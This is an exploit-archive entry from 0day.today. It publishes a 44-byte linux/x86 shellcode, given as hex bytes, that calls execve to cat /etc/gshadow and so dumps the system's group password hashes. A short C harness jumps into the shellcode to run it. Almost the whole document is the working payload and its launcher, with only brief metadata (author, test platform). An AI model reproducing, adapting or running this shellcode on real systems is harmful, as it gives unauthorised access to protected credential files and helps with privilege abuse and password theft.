linux/x86 execve("/bin/cat", "/etc/gshadow") - 44 bytes

2015-04-21T00:00:00
ID 1337DAY-ID-23545
Type zdt
Reporter Febriyanto Nugroho
Modified 2015-04-21T00:00:00

Description

Exploit for linux/x86 platform in category shellcode

                                        
                                            /*

 # Exploit Title  : linux/x86 execve("/bin/cat", ["/bin/cat", "/etc/gshadow"], NULL) - 44 bytes
 # Exploit Author : Febriyanto Nugroho 
 # Tested on      : Linux Debian 5.0.5
 
 */

#include <stdio.h>

char shellcode[] = "\x31\xdb"
		   "\x8d\x43\x0b"
		   "\x99"
		   "\x52"
		   "\x68\x2f\x63\x61\x74"
		   "\x68\x2f\x62\x69\x6e"
		   "\x89\xe3"
		   "\x52"
		   "\x68\x61\x64\x6f\x77"
		   "\x68\x2f\x67\x73\x68"
		   "\x68\x2f\x65\x74\x63"
		   "\x89\xe1"
		   "\x52"
		   "\x51"
		   "\x53"
		   "\x89\xe1"
		   "\xcd\x80";

int main(int argc, char **argv) {
asm("jmp %0;" : "=m" (shellcode)); 
}

#  0day.today [2018-02-18]  #